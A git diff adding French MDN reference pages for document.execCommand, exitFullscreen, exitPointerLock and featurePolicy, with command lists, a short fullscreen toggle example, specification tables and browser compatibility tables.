diff --git a/files/fr/web/api/document/execcommand/index.html b/files/fr/web/api/document/execcommand/index.html
new file mode 100644
index 0000000000..0828ac309b
--- /dev/null
+++ b/files/fr/web/api/document/execcommand/index.html
@@ -0,0 +1,397 @@
+---
+title: document.execCommand
+slug: Web/API/Document/execCommand
+tags:
+  - API
+  - Commandes
+  - DOM
+  - Exécution
+  - Méthodes
+translation_of: Web/API/Document/execCommand
+---
+<p>{{ApiRef("DOM")}}<br>
+ Lorsqu'un document HTML est passé à <code><a href="https://developer.mozilla.org/fr/docs/Web/API/Document/designMode">designMode</a></code>, l'objet document expose la méthode <strong><code>execCommand</code></strong> qui permet d'exécuter des commandes pour manipuler le contenu de la zone modifiable, telle que les éléments <a href="https://developer.mozilla.org/fr/docs/Web/HTML/Element/input">form inputs</a> ou <code><a href="https://developer.mozilla.org/fr/docs/Web/HTML/Global_attributes/contenteditable">contentEditable</a></code> .</p>
+
+<p>La plupart des commandes affectent la <a href="https://developer.mozilla.org/fr/docs/Web/API/Selection">sélection</a> du document (gras, italique, etc.), tandis que d'autres ajoutent de nouveaux éléments (ajout d'un lien) ou affectent une ligne entière (indentation). Lorsque vous utilisez <code>contentEditable</code>, l'appel <code>execCommand()</code> affectera l'élément modifiable actuellement actif.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre><em>bool</em> = document.execCommand(<em>aCommandName</em>, <em>aShowDefaultUI</em>, <em>aValueArgument</em>)</pre>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Un {{jsxref('Boolean')}} qui est à <code>false</code> <em>(faux)</em> si la commande n'est pas supportée ou désactivée.</p>
+
+<div class="note">
+<p><strong> </strong><span id="result_box" lang="fr"><span><strong>Note :</strong> Ne renvoie <code>true</code> <em>(vrai)</em> que dans le contexte d'une interaction utilisateur. Ne pas utiliser la valeur de retour pour vérifier le support du navigateur avant d'appeler une commande.</span></span></p>
+</div>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p><code><strong>aCommandName</strong></code><br>
+ {{domxref("DOMString")}} spécifie le nom de la commande à exécuter ​​​​​​. Voir {{anch("Commands")}} pour la liste des commandes possibles .</p>
+
+<p><strong><code>aShowDefaultUI</code></strong><br>
+ Un {{jsxref("Boolean")}} indiquant si l'interface utilisateur par défaut doit être affichée. Ceci n'est pas implémenté par Mozilla.</p>
+
+<p><strong><code>aValueArgument</code></strong><br>
+ Pour les commandes qui nécessitent un argument , il s'agit d'une {{domxref ("DOMString")}} <em>(chaîne de caractères)</em> fournissant ces informations. Par exemple, <code>insertImage</code> requière l'URL de l'image à insérer. Spécifiez <code>null </code>si aucun argument n'est nécessaire.</p>
+
+<h3 id="Commandes"><a id="Commands" name="Commands">Commandes</a></h3>
+
+<p><code><strong>backColor</strong></code><br>
+ Change la couleur d'arrière-plan du document. En mode <code>styleWithCss</code>, il affecte plutôt la couleur de fond du bloc contenant. Cela nécessite une chaîne de valeurs {{cssxref ("&lt;color&gt;")}} pour être transmise en tant qu'argument de valeur. Notez que Internet Explorer utilise cette option pour définir la couleur d'arrière-plan du texte.</p>
+
+<p><code><strong>bold</strong></code><br>
+ Ajoute ou enlève l'affichage <code>bold</code> de la sélection ou au point d'insertion. Internet Explorer utilise la balise {{HTMLElement("strong")}} au lieu de {{HTMLElement("b")}}.</p>
+
+<p><strong><code>contentReadOnly</code></strong><br>
+ Rend le  contenu du document en lecture seule ou modifiable. Cela nécessite qu'un booléen <code>true</code> / <code>false</code> soit transmis en tant qu'argument de valeur. (Non pris en charge par Internet Explorer.)</p>
+
+<p><strong><code>copy</code></strong><br>
+ Copie la sélection courante dans le presse papier. Les conditions d'activation de ce comportement varient d'un navigateur à l'autre et ont évolué au fil du temps. Vérifiez la table de compatibilité pour déterminer si vous pouvez l'utiliser dans votre cas.</p>
+
+<p><code><strong>createLink</strong></code><br>
+ Crée un lien d'ancrage à partir de la sélection, uniquement s'il existe une sélection. Cela nécessite que la chaîne URI HREF soit transmise en tant qu'argument de valeur. L'URI doit contenir au moins un caractère unique, qui peut être un espace blanc. (Internet Explorer créera un lien avec une valeur URI <code>null</code>.)</p>
+
+<p><code><strong>cut</strong></code><br>
+ Coupe et copie la sélection courante dans le presse papier. Les conditions d'activation de ce comportement varient d'un navigateur à l'autre et ont évolué au fil du temps. Vérifiez la <a href="#Compatibilité des navigateurs">table de compatibilité</a> pour déterminer si vous pouvez l'utiliser dans votre cas.</p>
+
+<p><code><strong>decreaseFontSize</strong></code><br>
+ Ajoute une balise {{HTMLElement("small")}} autour de la sélection ou du point d'insertion (Non pris en charge par Internet Explorer).</p>
+
+<dl>
+ <dt><code>defaultParagraphSeparator</code></dt>
+ <dd>Change le séparateur de paragraphes utilisé lorsque de nouveaux paragraphes sont créés dans les zones de textes modifiables. Voir <a href="https://developer.mozilla.org/fr/docs/Web/HTML/Contenu_editable#Differences_in_markup_generation">Contenu éditable</a> pour plus de détails.</dd>
+</dl>
+
+<p><code><strong>delete</strong></code><br>
+ Supprime la sélection courante</p>
+
+<p><strong><code>enableInlineTableEditing</code></strong><br>
+ Active ou désactive les commandes d'insertion et de suppression des lignes et des colonnes du tableau. (Non pris en charge par Internet Explorer.)</p>
+
+<p><code><strong>enableObjectResizing</strong></code><br>
+ Active ou désactive les poignées de redimensionnement des images et autres objets redimensionnables. (Non pris en charge par Internet Explorer.)</p>
+
+<p><code><strong>fontName</strong></code><br>
+ Modifie le nom de police de la sélection ou du point d'insertion. Cela nécessite une chaîne de nom de police (tel qu'<code>"Arial"</code>) à transmettre comme argument de valeur.</p>
+
+<p><code><strong>fontSize</strong></code><br>
+ Modifie la taille de police pour la sélection ou au point d'insertion. Cela nécessite que la taille d'une police HTML (<code>1</code>-<code>7</code>) soit transmise en tant qu'argument de valeur.</p>
+
+<p><code><strong>foreColor</strong></code><br>
+ Modifie une couleur de police pour la sélection ou au point d'insertion. Cela nécessite qu'une chaîne de valeurs de couleur soit transmise en tant qu'argument de valeur.</p>
+
+<p><code><strong>formatBlock</strong></code><br>
+ Ajoute une balise HTML style bloc autour de la ligne contenant la sélection en cours, en remplaçant l'élément bloc contenant la ligne si elle existe (dans Firefox, BLOCKQUOTE est l'exception - il enroule tout élément bloc contenant). Nécessite la saisie d'une chaîne de nom d'étiquette comme argument de valeur. Pratiquement toutes les étiquettes de style de bloc peuvent être utilisées (par exemple "{{HTMLElement("h1")}}", "{{HTMLElement("p")}}", "{{HTMLElement("dl")}}", "{{HTMLElement("blockquote")}}"). (Internet Explorer ne prend en charge que les balises de titre <code>H1</code> - <code>H6</code>, <code>ADDRESS</code> et <code>PRE</code>, qui doivent également inclure les délimiteurs de balises &lt;&gt;, tels que <code>"&lt;H1&gt;"</code>.)</p>
+
+<p><code><strong>forwardDelete</strong></code><br>
+ Supprime le caractère avant la position du <a href="http://en.wikipedia.org/wiki/Cursor_%28computers%29">curseur</a>. Il est le même que frapper la touche de suppression.</p>
+
+<p><code><strong>heading</strong></code><br>
+ Ajoute une balise de titre autour d'une ligne de sélection ou d'insertion. Nécessite que la chaîne de nom d'étiquette soit transmise en tant qu'argument de valeur (c'est-à-dire "{{HTMLElement("<code>H1</code>")}}", "{{HTMLElement("<code>H6</code>")}}"). (Non pris en charge par Internet Explorer et Safari.)</p>
+
+<p><code><strong>hiliteColor</strong></code><br>
+ Modifie la couleur d'arrière-plan de la sélection ou du point d'insertion. Nécessite une chaîne de valeurs de couleur à transmettre comme argument de valeur. <code>UseCSS</code> doit être à <code>true</code> (<em>vrai</em>) pour que cela fonctionne. (Non pris en charge par Internet Explorer.)</p>
+
+<p><code><strong>increaseFontSize</strong></code><br>
+ Ajoute une balise {{HTMLElement("big")}} autour de la sélection ou au point d'insertion. (Non pris en charge par Internet Explorer.)</p>
+
+<p><code><strong>indent</strong></code><br>
+ Décale la ligne contenant le point de sélection ou d'insertion. Dans Firefox, si la sélection s'étend sur plusieurs lignes à différents niveaux d'indentation, seules les lignes les moins indentées de la sélection seront indentées.</p>
+
+<p><code><strong>insertBrOnReturn</strong></code><br>
+ Contrôle si la touche Entrée insère une balise br ou divise l'élément de bloc courant en deux. (Non pris en charge par Internet Explorer.)</p>
+
+<p><strong><code>insertHorizontalRule</code></strong><br>
+ Insère une ligne horizontale au point d'insertion. (Supprime la sélection)</p>
+
+<p><code><strong>insertHTML</strong></code><br>
+ Insère une chaîne HTML au point d'insertion (supprime la sélection). Nécessite une chaîne HTML valide à transmettre en tant qu'argument de valeur. (Non pris en charge par Internet Explorer.)</p>
+
+<p><code><strong>insertImage</strong></code><br>
+ Insère une image au point d'insertion (supprime la sélection). Nécessite l'image SRC URI chaîne à passer comme un argument de valeur. L'URI doit contenir au moins un caractère unique, qui peut être un espace blanc. (Internet Explorer créera un lien avec une valeur URI nulle.)</p>
+
+<p><code><strong>insertOrderedList</strong></code><br>
+ Crée une <a href="https://developer.mozilla.org/fr/docs/Web/HTML/Element/ol">liste ordonnée numérotée</a> pour la sélection ou le point d'insertion.</p>
+
+<p><code><strong>insertUnorderedList</strong></code><br>
+ Crée une <a href="https://developer.mozilla.org/fr/docs/Web/HTML/Element/ul">liste non triée à puces</a> pour la sélection ou au point d'insertion.</p>
+
+<p><code><strong>insertParagraph</strong></code><br>
+ Insère un <a href="https://developer.mozilla.org/fr/docs/Web/HTML/Element/p">paragraphe</a> autour de la sélection ou de la ligne en cours. (Internet Explorer insère un paragraphe au point d'insertion et supprime la sélection.)</p>
+
+<p><code><strong>insertText</strong></code><br>
+ Insère le texte brut donné au point d'insertion (supprime la sélection).</p>
+
+<p><code><strong>italic</strong></code><br>
+ Active / désactive l'italique pour la sélection ou le point d'insertion. (Internet Explorer utilise la balise {{HTMLElement("em")}} au lieu de {{HTMLElement("i")}}).</p>
+
+<p><code><strong>justifyCenter</strong></code><br>
+ Centre le point de sélection ou d'insertion.</p>
+
+<p><code><strong>justifyFull</strong></code><br>
+ Justifie le point de sélection ou d'insertion.</p>
+
+<p><code><strong>justifyLeft</strong></code><br>
+ Justifie le point de sélection ou d'insertion à gauche.</p>
+
+<p><code><strong>justifyRight</strong></code><br>
+ Justifie à droite la sélection ou le point d'insertion.</p>
+
+<p><code><strong>outdent</strong></code><br>
+ Augmente la ligne contenant le point de sélection ou d'insertion.</p>
+
+<p><code><strong>paste</strong></code><br>
+ Colle le contenu du Presse-papiers au point d'insertion (remplace la sélection en cours). La fonctionnalité Presse-papiers doit être activée dans le fichier de préférences <em>user.js</em>. Voir [1].</p>
+
+<p><code><strong>redo</strong></code><br>
+ Rétablit la commande d'annulation précédente.</p>
+
+<p><code><strong>removeFormat</strong></code><br>
+ Supprime tout le formatage de la sélection en cours.</p>
+
+<p><code><strong>selectAll</strong></code><br>
+ Sélectionne tout le contenu de la zone modifiable.</p>
+
+<p><code><strong>strikeThrough</strong></code><br>
+ Active ou désactive le barré pour la sélection ou le point d'insertion.</p>
+
+<p><code><strong>subscript</strong></code><br>
+ Active ou désactive l'<a href="https://developer.mozilla.org/fr/docs/Web/HTML/Element/sub">élément de souscription</a> sur la sélection ou au point d'insertion.</p>
+
+<p><code><strong>superscript</strong></code><br>
+ Active / désactive l'<a href="https://developer.mozilla.org/fr/docs/Web/HTML/Element/sup">élément de mise en exposant</a> pour la sélection ou le point d'insertion.</p>
+
+<p><code><strong>underline</strong></code><br>
+ Active ou désactive l'<a href="https://developer.mozilla.org/fr/docs/Web/HTML/Element/u">élément d'annotation non textuelle</a> pour la sélection ou le point d'insertion.</p>
+
+<p><code><strong>undo</strong></code><br>
+ Annule la dernière commande exécutée.</p>
+
+<p><code><strong>unlink</strong></code><br>
+ Supprime l'<a href="https://developer.mozilla.org/fr/docs/Web/HTML/Element/a">élément d'ancrage</a> de l'hyperlien sélectionné.</p>
+
+<p><code><strong>useCSS</strong></code><strong> {{Deprecated_inline}}</strong><br>
+ Active / désactive l'utilisation de balises HTML ou CSS pour le balisage généré. Nécessite un argument booléen vrai / faux comme argument de valeur. REMARQUE : Cet argument est logiquement inverse (c.-à-d. utilise <code>false</code> pour utiliser CSS, <code>true</code> pour utiliser HTML). (Non pris en charge par Internet Explorer.) Cela a été obsolète; Utilisez plutôt la commande <code>styleWithCSS</code>.</p>
+
+<p><code><strong>styleWithCSS</strong></code><br>
+ Remplace la commande <code>useCSS</code><em> </em>; argument fonctionne comme prévu, c'est-à-dire <code>true</code> modifie / génère des attributs de <code>style</code> dans le balisage, <code>false</code> génère des éléments de mise en forme.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Un <a href="http://codepen.io/netsi1964/full/QbLLGW/">exemple d'utilisation</a> sur CodePen.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML Editing', '#execcommand()', 'execCommand')}}</td>
+   <td>{{Spec2('HTML Editing')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs"><a id="Compatibilité des navigateurs" name="Compatibilité des navigateurs"></a>Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop" style="display: block;">
+<div id="compat-desktop">
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>insertBrOnReturn</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>copy</code>/<code>cut</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(41)}}</td>
+   <td>9</td>
+   <td>29</td>
+   <td>10</td>
+  </tr>
+  <tr>
+   <td><code>defaultParagraphSeparator</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(55)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>ClearAuthenticationCache</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>6</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>insertBrOnReturn</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>copy</code>/<code>cut</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(41)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>defaultParagraphSeparator</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(55)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>ClearAuthenticationCache</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+    </div>
+     </div>
+
+<div id="compat-mobile" style="display: none;">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>insertBrOnReturn</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>copy</code>/<code>cut</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(43)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(41)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Avant Firefox 41, la capacité du presse-papiers devait être activée dans le fichier de préférences user.js. Voir <a href="https://developer.mozilla.org/fr/docs/Mozilla/Preferences/A_brief_guide_to_Mozilla_preferences">Un bref guide des préférences Mozilla</a> pour plus d'informations. Si la commande n'était pas prise en charge ou activée, <code>execCommand</code> déclenchait une exception au lieu de renvoyer <code>false</code>. Dans Firefox 41 et versions ultérieures, la capacité du presse-papiers est activée par défaut dans n'importe quel gestionnaire d'événements capable de faire apparaître une fenêtre (scripts semi-approuvés), mais aucun contenu web ne peut lire le presse-papier. Les extensions web peuvent <a href="https://developer.mozilla.org/fr/Add-ons/WebExtensions/interagir_avec_le_presse_papier">interagir avec le presse-papier</a>.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("HTMLElement.contentEditable")}}</li>
+ <li>{{domxref("document.designMode")}}</li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Rich-Text_Editing_in_Mozilla">Rich-Text Editing in Mozilla</a></li>
+ <li><a href="https://github.com/guardian/scribe/blob/master/BROWSERINCONSISTENCIES.md">Scribe's "Browser Inconsistencies" documentation</a>  <span class="short_text" id="result_box" lang="fr"><span>avec des bugs liés</span></span> à <code>document.execCommand</code>.{{CompatUnknown}}</li>
+</ul>
diff --git a/files/fr/web/api/document/exitfullscreen/index.html b/files/fr/web/api/document/exitfullscreen/index.html
new file mode 100644
index 0000000000..a5c8172182
--- /dev/null
+++ b/files/fr/web/api/document/exitfullscreen/index.html
@@ -0,0 +1,120 @@
+---
+title: Document.exitFullscreen()
+slug: Web/API/Document/exitFullscreen
+tags:
+  - API
+  - Affichage
+  - DOM
+  - Méthodes
+  - Plein écran
+translation_of: Web/API/Document/exitFullscreen
+---
+<div>{{ApiRef("Fullscreen API")}}</div>
+
+<p>La méthode <code><strong>Document.exitFullscreen()</strong></code> extrait le document du mode plein écran ; elle est utilisée pour inverser les effets d'un appel au mode plein écran réalisé avec la méthode {{domxref("Element.requestFullscreen()")}}.</p>
+
+<div class="note"><strong>Note :</strong> Si un autre élément était précédemment en mode plein écran lorsque l'élément en cours a été placé en mode plein écran, cet élément précédent reprend le mode plein écran. Une "pile" d'éléments en plein écran est maintenue par le navigateur à cette fin.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">document.exitFullscreen();
+</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">// Click bascule en mode plein écran
+document.onclick = function (event) {
+  if (document.fullscreenElement) {
+    document.exitFullscreen()
+  } else {
+    document.documentElement.requestFullscreen()
+  }
+};</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Fullscreen", "#dom-document-exitfullscreen", "Document.exitFullscreen()")}}</td>
+   <td>{{Spec2("Fullscreen")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br>
+    {{CompatChrome(45)}} (unprefixed)</td>
+   <td>{{CompatGeckoDesktop("9.0")}} as <code>mozCancelFullScreen</code><sup>[1]</sup><br>
+    {{CompatGeckoDesktop("47.0")}}<sup>[1]</sup> (behind <code>full-screen-api.unprefix.enabled</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android Webkit</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br>
+    {{CompatChrome(45)}} (unprefixed)</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br>
+    {{CompatChrome(45)}} (unprefixed)</td>
+   <td>{{CompatGeckoMobile("9.0")}} as <code>mozCancelFullScreen</code><sup>[1]</sup><br>
+    {{CompatGeckoMobile("47.0")}}<sup>[1]</sup> (behind <code>full-screen-api.unprefix.enabled</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] La "pile" du mode plein écran qui permet d'annuler le plein écran pour un élément et de le restaurer pour un élément précédent automatiquement, a été implémentée dans Gecko 11.0 {{geckoRelease("11.0")}}.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/Guide/DOM/Using_full_screen_mode" title="en/DOM/Using full-screen mode">Utiliser le mode plein écran</a></li>
+ <li>{{ domxref("Element.requestFullscreen()") }}</li>
+ <li>{{ domxref("Document.exitFullscreen()") }}</li>
+ <li>{{ domxref("Document.fullscreen") }}</li>
+ <li>{{ domxref("Document.fullscreenElement") }}</li>
+ <li>{{ cssxref(":fullscreen") }}</li>
+ <li>{{ HTMLAttrXRef("allowfullscreen", "iframe") }}</li>
+</ul>
diff --git a/files/fr/web/api/document/exitpointerlock/index.html b/files/fr/web/api/document/exitpointerlock/index.html
new file mode 100644
index 0000000000..3337e00ae7
--- /dev/null
+++ b/files/fr/web/api/document/exitpointerlock/index.html
@@ -0,0 +1,109 @@
+---
+title: Document.exitPointerLock()
+slug: Web/API/Document/exitPointerLock
+tags:
+  - API
+  - DOM
+  - Experimental
+  - Méthode
+  - Reference
+translation_of: Web/API/Document/exitPointerLock
+---
+<div>{{APIRef("DOM")}}{{SeeCompatTable}}</div>
+
+<p>La méthode <strong><code>exitPointerLock()</code></strong> permet de relâcher un pointeur de façon asynchrone lorsque le pointeur était auparavant mobilisé par la méthode {{domxref("Element.requestPointerLock()")}}.</p>
+
+<p>Pour connaître le succès ou l'échec de cette requête, il faut surveiller les évènements {{event("pointerlockchange")}} et {{event("pointerlockerror")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">document.exitPointerLock();
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Lock','l#extensions-to-the-document-interface','Document')}}</td>
+   <td>{{Spec2('Pointer Lock')}}</td>
+   <td>Extension de l'interface <code>Document</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("moz")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Prise en charge sans préfixe</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(50)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Document.pointerLockElement")}}</li>
+ <li>{{domxref("Element.requestPointerLock()")}}</li>
+ <li><a href="/fr/docs/WebAPI/Pointer_Lock">L'API <em>Pointer Lock</em></a></li>
+</ul>
diff --git a/files/fr/web/api/document/featurepolicy/index.html b/files/fr/web/api/document/featurepolicy/index.html
new file mode 100644
index 0000000000..4c2dbbe9ba
--- /dev/null
+++ b/files/fr/web/api/document/featurepolicy/index.html
@@ -0,0 +1,47 @@
+---
+title: Document.featurePolicy
+slug: Web/API/Document/featurePolicy
+tags:
+  - API
+  - Document
+  - Feature Policy
+  - Feature-Policy
+  - Reference
+translation_of: Web/API/Document/featurePolicy
+---
+<p>{{APIRef("Feature Policy")}}</p>
+
+<p>La propriété en lecture seule <strong><code>featurePolicy</code></strong> de l'interface {{domxref("Document")}} retourne l'interface {{domxref("FeaturePolicy")}}, qui fournit une API permettant de consulter facilement les règles de fonctionnalités appliquées sur un document spécifique.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="notranslate">var <var>policy</var> = <var>iframeElement</var>.featurePolicy</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un objet {{domxref("FeaturePolicy")}} pouvant être utilisé pour consulter les paramètres de Feature Policy appliqués au document.</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Feature Policy")}}</td>
+   <td>{{Spec2("Feature Policy")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
